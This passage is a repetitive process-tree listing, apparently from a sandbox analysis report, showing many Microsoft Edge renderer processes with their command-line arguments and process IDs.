- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5708 /prefetch:1
  2⤵
  PID:1184
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5860 /prefetch:1
  2⤵
  PID:4568
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3208 /prefetch:1
  2⤵
  PID:2128
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6116 /prefetch:1
  2⤵
  PID:4692
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6452 /prefetch:1
  2⤵
  PID:1508
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6584 /prefetch:1
  2⤵
  PID:3240
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6708 /prefetch:1
  2⤵
  PID:2768
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6840 /prefetch:1
  2⤵
  PID:4244
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6848 /prefetch:1
  2⤵
  PID:1980
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6976 /prefetch:1
  2⤵
  PID:3344
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7256 /prefetch:1
  2⤵
  PID:1136
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7140 /prefetch:1
  2⤵
  PID:4716
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7496 /prefetch:1
  2⤵
  PID:3020
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7972 /prefetch:1
  2⤵
  PID:5336
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8084 /prefetch:1
  2⤵
  PID:5344
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8220 /prefetch:1
  2⤵
  PID:5352
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8340 /prefetch:1
  2⤵
  PID:5360
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8348 /prefetch:1
  2⤵
  PID:5368
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6564 /prefetch:1
  2⤵
  PID:5764
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9344 /prefetch:1
  2⤵
  PID:5772
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=38 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9488 /prefetch:1
  2⤵
  PID:5780
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=39 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9224 /prefetch:1
  2⤵
  PID:5788
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=40 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9816 /prefetch:1
  2⤵
  PID:6016
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=41 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9936 /prefetch:1
  2⤵
  PID:6052
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=42 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8928 /prefetch:1
  2⤵
  PID:6476
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=43 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10196 /prefetch:1
  2⤵
  PID:6704
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=44 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=216 /prefetch:1
  2⤵
  PID:6832
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=45 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7820 /prefetch:1
  2⤵
  PID:6840
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=46 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7784 /prefetch:1
  2⤵
  PID:6848
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=47 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8684 /prefetch:1
  2⤵
  PID:6856
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=48 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10492 /prefetch:1
  2⤵
  PID:6864
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=49 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10620 /prefetch:1
  2⤵
  PID:6872
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=50 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8776 /prefetch:1
  2⤵
  PID:6648
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=51 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7212 /prefetch:1
  2⤵
  PID:6124
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=52 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10964 /prefetch:1
  2⤵
  PID:6168
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=53 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9940 /prefetch:1
  2⤵
  PID:5644
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=54 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6832 /prefetch:1
  2⤵
  PID:5448
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=55 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4948 /prefetch:1
  2⤵
  PID:4676
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=56 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10120 /prefetch:1
  2⤵
  PID:232
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=57 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=11060 /prefetch:1
  2⤵
  PID:908
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=58 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=11092 /prefetch:1
  2⤵
  PID:6156
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=59 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7792 /prefetch:1
  2⤵
  PID:6224
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=60 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7948 /prefetch:1
  2⤵
  PID:3492
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=61 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8092 /prefetch:1
  2⤵
  PID:6644
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=62 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=11856 /prefetch:1
  2⤵
  PID:7220
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=63 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6024 /prefetch:1
  2⤵
  PID:7228
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=64 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9712 /prefetch:1
  2⤵
  PID:7236
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=65 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8300 /prefetch:1
  2⤵
  PID:7244
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=66 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10808 /prefetch:1
  2⤵
  PID:7528
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=67 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4928 /prefetch:1
  2⤵
  PID:5752
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=68 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10388 /prefetch:1
  2⤵
  PID:4724
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=69 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=11824 /prefetch:1
  2⤵
  PID:4916
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=70 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9676 /prefetch:1
  2⤵
  PID:7824
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=71 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9620 /prefetch:1
  2⤵
  PID:5184
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=72 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=12064 /prefetch:1
  2⤵
  PID:5212
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=73 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=11904 /prefetch:1
  2⤵
  PID:5232
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=74 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7812 /prefetch:1
  2⤵
  PID:7856
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=75 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10904 /prefetch:1
  2⤵
  PID:6280
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=76 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10192 /prefetch:1
  2⤵
  PID:6300
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=77 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8796 /prefetch:1
  2⤵
  PID:6320
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=78 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9928 /prefetch:1
  2⤵
  PID:6328
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=79 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=12088 /prefetch:1
  2⤵
  PID:7868
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=80 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3384 /prefetch:1
  2⤵
  PID:6856
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=81 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5900 /prefetch:1
  2⤵
  PID:7120
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=82 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9876 /prefetch:1
  2⤵
  PID:6868
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=83 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6452 /prefetch:1
  2⤵
  PID:3332
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
